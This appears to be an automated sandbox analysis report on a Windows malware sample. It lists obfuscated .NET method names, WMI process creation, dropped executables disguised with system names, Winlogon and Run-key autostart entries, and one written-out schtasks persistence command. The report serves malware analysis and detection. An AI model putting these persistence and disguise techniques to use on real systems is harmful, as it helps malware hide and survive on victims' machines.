Source: 2RM12KtuNp.exe, SD5PoBhaBrIhaL20tx.cs	High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'sefOrpwjiqr570QhRVw', 'TgbA7KwORHgtcupQq5H', 'fgNAFRwzQAlj4ycVq0Y', 'gQCd932iKsMI2nScecL', 'c3uKx72duhi333PXLM9', 'kpJDnN2wnuQIAoUqrQ3'
Source: 2RM12KtuNp.exe, TKsJPGNAqn8ibYKC06M.cs	High entropy of concatenated method names: 'eEBXPFVoCr', 'oAa29mHLMY077IrUlja', 'UIds0rHCgRhM2fOrltL', 'AdcgIQH3K5lWB1poFY3', 'xWJaShHKG41WnrliYDk', 'RcMa6ocGgL', 'BDTaJmoQQK', 'NnIakt1pTk', 'g6BaSpOU54', 'XYFa2uDosd'
Source: 2RM12KtuNp.exe, NBYB4pfvYvxPbmkOYxv.cs	High entropy of concatenated method names: 'PJ1', 'jo3', 'Y7R7pykDIA', 'NWV7agnOZR', 'NEU7UwwWTc', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 2RM12KtuNp.exe, nquN9Ci6Nc71tn3Opo2.cs	High entropy of concatenated method names: 'RYBi0LWide', 'YCSnmjEwwjHPbQgmYi3', 'LmqeYlE2PmxmJTvjjyq', 'w35K7aEiHYeXHqYQV7Y', 'VgS7q0EdTJwYFm68beg', 'JogS9EE5KR9cmNj8JUq', 'VxXpRoEGDZRGv0LiSZl', 'V3vDXGEBSAd3rLoP6di', 'gfpi4iLGA8', 'TVJGmJEo5xrR34MAj3d'
Source: 2RM12KtuNp.exe, hdISiaAFkN5wsvfIUMk.cs	High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'ucYHwauygq', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 2RM12KtuNp.exe, aumi1LAWYFJcrtFmC8j.cs	High entropy of concatenated method names: 'A9VZIo9b1XuDMfOWQCn', 'wHC23c9TLRv3lgBGTAV', 'UZZM9t9RFy612EVu6N1', 'ACWcll9rKb02END6RXk', 'JtjMc4HBuK', 'XbLTMR98tWxW3vCZl7I', 'ByEufO9vd1OveD7YRE4', 'oQMKqE9sYp4ujDuJZTj', 'eavs0A9HyD8eOxqUiFI', 'WutAoh96QM2SIKZwBd2'
Source: 2RM12KtuNp.exe, RGhia4fj4OESBbFtBFA.cs	High entropy of concatenated method names: 'QrfIMIKcy1', 'LBuI8PvhUm', 'yQlIjR9CGC', 'bkgImqHuGE', 'E1LIwGHJtA', 'sOJTumZg2iGOJIsoeQd', 'DMklAuZjGXpcYPSc6FG', 'sp0e4VZOR1Apb6W6DDC', 'vGTtmrZz7G4NcHYimfg', 'RB7jTNWiBAIbEoWUE23'
Source: 2RM12KtuNp.exe, JaKtdlmwnYPRxgBjwK.cs	High entropy of concatenated method names: 'NXtcQjwCE', 'xJFHiXEV7', 'JLpIJlJSh', 'prfVxhIFT', 'Cakew2ZpY', 'QsMrhWgBs', 'UdZ7vHT6K', 'eDgFumd7hViA8qgHF5q', 'd5X0tWdoQGcmLCah2W8', 'K2Fe3hdEehBjY8yAVoa'
Source: 2RM12KtuNp.exe, E9IJLEfJwJStmg3oWIe.cs	High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'dyTVHAVQqQ', 'r3hVItKdE3', 'W3DVVeBIpv', 'F5BVeliuUo', 'oYDVraZwwv', 'm3SV77SWJ9', 'AdOar9tQsMnLGZIjCUx'
Source: 2RM12KtuNp.exe, eSfRfNuTktVZgb4SEvq.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 'aBcA2BHyMR', 'I0nAhTASfR', 'fNkAOtVZgb', 'QSEATvqBob', 'Tt1ARSaC5V', 'ywnyEbKos7c8axlr6VX', 'tjcdGXKEVaA8y6u820k', 'NsDTJdKk6CcmlvShUmM'
Source: 2RM12KtuNp.exe, ov3YMji2Mb8WxYLbSA0.cs	High entropy of concatenated method names: 'eyHi3K47km', 'FhHLlXEsYNsmvKOWRrp', 'bx5MCqEHNZ6KnkaYZBY', 'pK9LXrEbnaAWhkXfdgE', 'y2adOMETmeCJaPKReF0', 'VX8FxaE8DRSnujrCKFw', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: 2RM12KtuNp.exe, fYHj1RupqU7Pn2SoLkC.cs	High entropy of concatenated method names: 'duNWki5pyX', 'GFnWSGuqR8', 'vguW2dIA36', 'zKMWhnhuWF', 'QtBWOL2iYR', 'reGWTVbdnA', 'qkLWRMFOAs', 'zydwsCNs3t8aEGuU5Rl', 'QfChv5Nbb9gS9W7NoeC', 'pfPN0CNTgH4CywdjevV'
Source: 2RM12KtuNp.exe, F52FY85yah7uPfsZwP.cs	High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'kNTiQT5ueLgcZ0RTd61', 'U1rrox5fnSRibpHWTL6', 'l7mJ4e5cB3TNxgo5Zw0', 'GN3aEr5mG1KTry3am0K', 'aZteEX5IhiTEyqdTQAH', 'zElkrD5aYhbYOgWn3r7'
Source: 2RM12KtuNp.exe, qxBR5SApVpvFDjyGpLL.cs	High entropy of concatenated method names: 'hdocMcEE1O', 'N19c8yPZvO', 'HRaTMplUqlYirTjwyCK', 'FhiJIGleMhQiUg7JIKX', 'CbZo2jlMSsYV6OIrHNR', 'lmX5culgbg0VEBuvCS7', 'fQ4FEGljuRFMZOj1GBA', 'IRMSlGlOPp9T10FSKtY', 'TVZj3vlzjkBFHyFcX1F', 'BogdHrQiJnnIM1g9euy'
Source: 2RM12KtuNp.exe, CnAZYEumvUVfFYGikTu.cs	High entropy of concatenated method names: 'UpkN89Fq0K', 'xb2NjjAQfX', 'DtDNmhjV2r', 'h4JNwGlIVd', 'sJlNcsUAO5', 'mNrntmpiHWkUFRkwut8', 'CKdigDpd2y7uIfwnIte', 'FiIr8KAORbWPMf00l95', 'MlpM4uAzucqXk0as5ey', 'ERfpVHpwHWDP0ZyHAIY'
Source: 2RM12KtuNp.exe, P67Bo9N3puOOfUyQJFP.cs	High entropy of concatenated method names: 'LDcntCH9ue', 'gEFn2kXn48', 'GRenhmN5Zv', 'cQSnOQJ9bk', 'PKynTPArJn', 'LgMnReNi7H', 'hRTnB7y62S', 'GyfnDCRcoT', 'AUKnxTugRp', 's6ZnlcHqAW'
Source: 2RM12KtuNp.exe, Q1D0aeJvKqkVT88Gru.cs	High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'Rw6Btu7iN', 'GwMulowCdhFu4tPksDA', 'FTNXpHwJBGXH7E7UuZu', 'YU03cewR7YIRXMmecle', 'VeHPx9wrvntXV7Zk83I', 'V2srw0wbK3Iy7OYflRj'
Source: 2RM12KtuNp.exe, AIq4QriyiA5WVb2jMTW.cs	High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'FXEDhKkvV2mpc44WflL', 'CqfN5Ok6qEp7kZsTsZY', 'gtnc0RkYHSyMhXb0XIj', 'erI0iJkVaoFrX0Ts09A', 'VuhNwukxRExn3lygRWa', 'zYkTJNkqLxm1rmwkr0u'
Source: 2RM12KtuNp.exe, zHTt37iZwlJBtGmbG8G.cs	High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'MB0U3ZPRcMEHbXCxp88', 'JwxfM6Pr9rT15hgDmwt', 'V640Y8PbIIoWG3obyvm', 'x0OToUPT62x1oKuA9um', 'XeyI1iPstmuURm0ZqsP', 'EaQLATPHIrdIumBA2X1'
Source: 2RM12KtuNp.exe, umtfYiWNp2yBq0bv7c6.cs	High entropy of concatenated method names: 'bkSbxnRObJ', 'PNhblu4EOx', 's2Wbvt4PJf', 'bgLb0lcxfL', 'fLVb53dIpD', 'jwKb4kVAVZ', 'YivIcrCY4eN06vVTETI', 'X3tyD2Cv8XlFEfjVSXI', 'B8sXgKC6ykhnZNZB1Ww', 'qnGLevCVZDtg3WDN0JK'
Source: 2RM12KtuNp.exe, U9yq2PAk9rH2k3L2oSf.cs	High entropy of concatenated method names: 'ux6cQy95G8', 'ILac37gj8s', 'qrGcL6Ors0', 'x0rcqeGICj', 'm0kcFrthNg', 'edcctQZtuG', 'yV7qChQI9YCI8yMRG35', 'YcpTKpQc5oyAtw9xcn0', 'CM17SgQmmdLbl3vg9xI', 'IlRlw2QaEXwsCiVHWRK'
Source: 2RM12KtuNp.exe, W3yV0XWEi3qifuI1k2s.cs	High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'I2QaUDentt', 'sI1TKCu5Dy', 'rPMaXqWWfU', 'ednTS8Tljn', 'jnTcPqTncTtN1ju5rDQ', 'L97lRiTysY6QOLjHJeO', 'VgNf84TlBHV1KiueSfR'
Source: 2RM12KtuNp.exe, AHPjj5f9FVgfW8RaRW9.cs	High entropy of concatenated method names: 'URo7mo99Dt', '_1kO', '_9v4', '_294', 'H8B7wCRmOS', 'euj', 'Vy17cicfHy', 'w8H7HB4c8B', 'o87', 'Ray7IeJ2se'
Source: 2RM12KtuNp.exe, CXMi7CNVQcWAA5SWBuS.cs	High entropy of concatenated method names: 'BTbKSH6euQ', 'O9WK2NNxPi', 'SxfKhVBfbM', 'QN4KOwTaQX', 'vghKTlNWOO', 'MP0FUFvCRijDRre67rd', 'aKvluBvK0Hy93PBhufo', 'Wq56EVvLZC3Zjy5Ohts', 'sFN76QvJCtYVL1ggA0W', 'ssrswHvRXDWSVO0WyRN'
Source: 2RM12KtuNp.exe, nhUR8guPFxWhHegnaQw.cs	High entropy of concatenated method names: 'WIKWtKQk8Q', 'o10WGdJyOA', 'S28sC84Cf3SRJRQxWmm', 'ciLV8u4JaUxdG3vAojW', 'kmsmri4RkguUACiWdxs', 'TDv7BW4rNld2UQJeDvL', 'Xf2HBk4bRuXIP0ZTM9t', 'T9K9cB4Tk58QEdIHPGn', 'FQSLgP4s6o7H0c0FUc8', 'M0oF8k4HbPRS3oXTxv2'
Source: 2RM12KtuNp.exe, RrrcPXA6mGoD09ymwgE.cs	High entropy of concatenated method names: 'tyTc4yxdsm', 'UQFcZF0DDY', 'P76c93mB8H', 'XGbhmBQZHsRorJUvRAt', 'fVtCWPQneBHOcdmFxR3', 'zwPsPMQybGxZVxKbGOq', 'pYLiQ6QWietKshtbaVp', 'pdupvYQt9UrfCq7n9cM', 'eVsClkQuW0xDwxX7dV7', 'PXKeQwQfaFyubtq37Yp'
Source: 2RM12KtuNp.exe, pxaRDIAQoPXdL6BXH7S.cs	High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 2RM12KtuNp.exe, ExlmpDNqAnfMikOaTa2.cs	High entropy of concatenated method names: 'U6OgHLxs9O', 'CqIgVdnorL', 'DEEgKIqYFA', 'eLfgnbDFG8', 'HjgggGPZMI', 'mAwgY1el0i', 'YqFgPhF9Wd', 'cuFgCXL66V', 'Ng7g1gp5cw', 'bksgs7qN5s'
Source: 2RM12KtuNp.exe, zHWA3eurqHYmHnkucqD.cs	High entropy of concatenated method names: 'x2ENtiWWWA', 'LZkNGQnCHw', 'ibRNzWle7O', 'l7uAdo5jrg', 'DmoAiCUVhH', 'TGMAuieHOT', 'wrZAWXYjaE', 'k7aAN2TTAx', 'hoAAA56nAZ', 'uB6PI8peIWyM5Lk6SWK'
Source: 2RM12KtuNp.exe, WUZWFitPy5CKVw19jC.cs	High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'brdiocGUlZmheH0WtMx', 'hYq0kPGe7xJKE0lfBbr', 'sx3uE3GMeSSb1gxec3g', 'gnVGx4Gg5M7m5j8iydi', 'Qx9alPGjG8lRwOksZR0', 'a1FQPlGOXS9d3dpL9Tn'
Source: 2RM12KtuNp.exe, RTTVnPNyETWxmdsVXOt.cs	High entropy of concatenated method names: 'WJQXhfe24M', 'fPvXO04Vj8', 'XSAXT0TeJB', 'qCWXRRefh5', 'DSNXBTHV2w', 'UDlr0IHOqdoqW0VMLZm', 'I5RntEHzL0Cil4T3Ux7', 'pcCsFXHgUHRMtK8i8ol', 'LhYTfCHjTv6QNO6yGGE', 'xKDT6G8iRCDU9nb3lBY'
Source: 2RM12KtuNp.exe, GkoJaCAVGTkeMOuud62.cs	High entropy of concatenated method names: 'pExcRxw0Of', 'CmNcBIu77m', 'GKgcDJU9KX', 'UQQcxZY6iV', 'Mmfclpvfa1', 'wfIcgSQ6aPkLcKuJVUa', 'YSHmOwQ8VUpxXuiSbke', 'Ay4QevQv7ripWgulWmn', 'itjCiqQYwV2NqcEOFb2', 'G0l581QVWI8poU1xGKj'
Source: 2RM12KtuNp.exe, qKt3hsNPKEmNed6A5e1.cs	High entropy of concatenated method names: 'PoDyNwULsg', 'BdByA5SUgf', 'WAoyfDe5Ui', 'Qo50r883q5qXVUFqypy', 'SFQhZJ8KxLJ3kC7DGV6', 'Luo0x38AWWKNtxvwiyr', 'kkyOP98pFCmVsO2GfUP', 'N3XcfO8LGvf3EHcQkYH', 'QJjlrY8Ck49HYMXVl9J', 'xoPAyT8JsJhniHGlg7C'
Source: 2RM12KtuNp.exe, gOfNeYiHwoKLwNKSK7V.cs	High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'GbElWm7m4vCSVY0OAFQ', 'cItVq07I6Y3ygGx87sG', 'DFIRKL7aTu7hm5POid0', 'JGZCYj7FuQJf96IplTD', 'p0r6y37h7PMKoIGpkpQ', 'xBNLc27Dg7t5DtAk2vG'
Source: 2RM12KtuNp.exe, YMKk0YAr2kl3l7h1qWr.cs	High entropy of concatenated method names: 'mFHcvV9OkR', 'nAfc0KN1sa', 'tPvc5aNAlA', 'vAc0FkQ0kfhPtJrhJ33', 'anMC8kQ9nsdLjfUJ0UQ', 'a8G4R6QXdWioKAkp0is', 'GbqM50QlqZBuCB3jITk', 'i3MBSRQQIYdvHS0qL2e'
Source: 2RM12KtuNp.exe, rDOa2bWZ2vnexs96MeX.cs	High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'cWKT8J2dr1', '_168', 'NPgrlLTHmj3QxsiPp4c', 'pnds9lT8Ev4qX1kSbbQ', 'UmZuC0TvstY6OegUrIR', 'wW8DUYT6L7bDqkvyoxS', 'vgNAyxTYoY7OJZRDgYe'
Source: 2RM12KtuNp.exe, b3N523fwqHXcJsbjnoK.cs	High entropy of concatenated method names: 'IGD', 'CV5', 'tnsIcb2PIZ', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 2RM12KtuNp.exe, bmi7MIinZmJSwkqhpw7.cs	High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'cRXH3Fky49ID2uxinSs', 'OV6IMDkZ5nktjM2WUqV', 'zIjHUAkWW7eyNj6R8MX', 'fRiSXnktvuv5OcWFHdm', 'PkMjBSkurZEQ8jbeJ4a', 'irO8ZtkfSBfnZSc0hyS'
Source: 2RM12KtuNp.exe, WrXD4aiwAsv58cCZZi5.cs	High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'fMJvqw70Ued9QiKZqkn', 'Xm83NC7lQRce5THFB9E', 'inTFkm7QvEeSeGYfD5i', 'uXjE2U7neXFTNKEwxxq', 'KDyxDk7y9oq6XbcNQJy', 'NGnJXT7Z33ogDtF3VRa'
Source: 2RM12KtuNp.exe, oO2DnefuCIWTyUGaPkS.cs	High entropy of concatenated method names: 'jN4Iof5lnb', 'EiWIpuZPsu', '_8r1', 'oAJIaHCNj8', 'HI7IUdBSM4', 'XfVIXlX0Ty', 'mOgIypZcSg', 'woY5BYZpWUyJZuswaqk', 'mIskuZZ3CYFsNmcvA91', 'CsD2gqZKvXpm28DiOns'
Source: 2RM12KtuNp.exe, ui8oFsWcbITMsYH3OC3.cs	High entropy of concatenated method names: 'jgapk3Gp7O', 'lcqpSXfx0X', 'LCT4yQbLZlDDUKSn8uw', 'v5w3KwbCHruYHeraxli', 'EPnlEOb3t0FsXiEIP3y', 'MVHqdgbKMhXOPuwXqif', 'cLOY33bJTQ9fhcGg8vo', 'vqbYcQbRiAOdlCLhCp3'
Source: 2RM12KtuNp.exe, cdekk5WvnSu5uRgF43P.cs	High entropy of concatenated method names: '_5u9', 'dyWTDSf0C2', 'PV4adW0qRx', 'rsDT64hDP3', 'x7KAPdbgd9cqrVgKjuC', 'OUQYjgbj2OKSeDCnaQZ', 'XZ0qtBbOq02g6tSOS6u', 'CuvBI0bef23xyMDJt0x', 'dj1djlbMHbZX2aByFbT', 'ng6CynbzDfY4kCwnq2V'
Source: 2RM12KtuNp.exe, M7onyMZ41Wp3cpAkrH.cs	High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'O05BduGBeLm59fbL1EG', 'uIVJe2GkPsVnb9LHMD1', 'eqHSFBG74xiofOkRWMv', 'xTV039Gox3yZZdlyxWC', 'R6dYHMGEDYTdHvIxoGN', 'VrcbqbGPZHKGQ4HM3lN'
Source: 2RM12KtuNp.exe, HRvulFbGjsosE8xuOo.cs	High entropy of concatenated method names: 'NulKFGjso', 'FcgE06904TvxlBl3wK', 'eB8SrMx7r3qj3kSPmv', 'nIFMpTqo20QEkhTHgk', 'MbXRbXX4PgpyPAcOww', 'Ga3cC90sqe34Ubuk0o', 'UuPufJMmX', 'y5uWysHUU', 'OD9NlNs9Q', 'fSpAXwSOk'
Source: 2RM12KtuNp.exe, SkZ0cUbHBOGPy05HqhC.cs	High entropy of concatenated method names: 'Wl6JcaeAZ6', 'xLQJHSSqJ0', 'kCeJIlEmLT', 'nvNJVchtue', 'ziXJeFm6r3', 'xUwJrUfIlG', 'qCqJ7EnjN4', 'LAwJ6vHuvZ', 'D4BJJpsnLN', 'SZEJkUXfn2'
Source: 2RM12KtuNp.exe, IZZxRkud8UGfQRSdKxc.cs	High entropy of concatenated method names: 'D2ouHUO2oH', 'c2SuIYBMvx', 'SIHuVF5Ivm', 'O3OyvR19bt0Cn01XLfw', 'bMJ3Fa1XX2x9UUm6DrA', 'KfjPDY10MB9WcTkauVP', 'imNmPK1lGH5GCKxCinW', 'xs1pCR1QdOuId4oeftY', 'gFiIeM1npsVOeOpHabG', 'TWeU0U1x4Xyj1lmNmER'
Source: 2RM12KtuNp.exe, eH9ec0unWRA8LeIGLgk.cs	High entropy of concatenated method names: 'nOhWqp0F32', 'mHwB0N42nTdKd6gnKA8', 'JfkXLX45GEkKGkdnovA', 'NM5w6m4d54TSbjQPSQR', 'ChB1ky4wtMM98wKUJXH', 'EnsHZ24GXRnRLDbxNqC', 'bi7U3c4BOPNdHxH0Hml', 'NCEfLn4kHQw4HFxZ60Z', 'c2D4nQ47qlGRutR56I5', 'MFCb3k4oODhe34YwQCY'

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops PE files with benign system names

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

File created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe

Jump to dropped file

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File created: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Jump to dropped file
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	File created: C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File created: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File created: C:\Recovery\sppsvc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File created: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	Jump to dropped file

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

File created: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

Creates multiple autostart registry keys

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run smss	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sppsvc	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fuBYljHeUjtkgvlnN	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe'" /f

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run smss	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run smss	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fuBYljHeUjtkgvlnN	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fuBYljHeUjtkgvlnN	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fuBYljHeUjtkgvlnN	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fuBYljHeUjtkgvlnN	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sppsvc	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sppsvc	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sppsvc	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sppsvc	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fuBYljHeUjtkgvlnN	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fuBYljHeUjtkgvlnN	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fuBYljHeUjtkgvlnN	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fuBYljHeUjtkgvlnN	Jump to behavior

Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
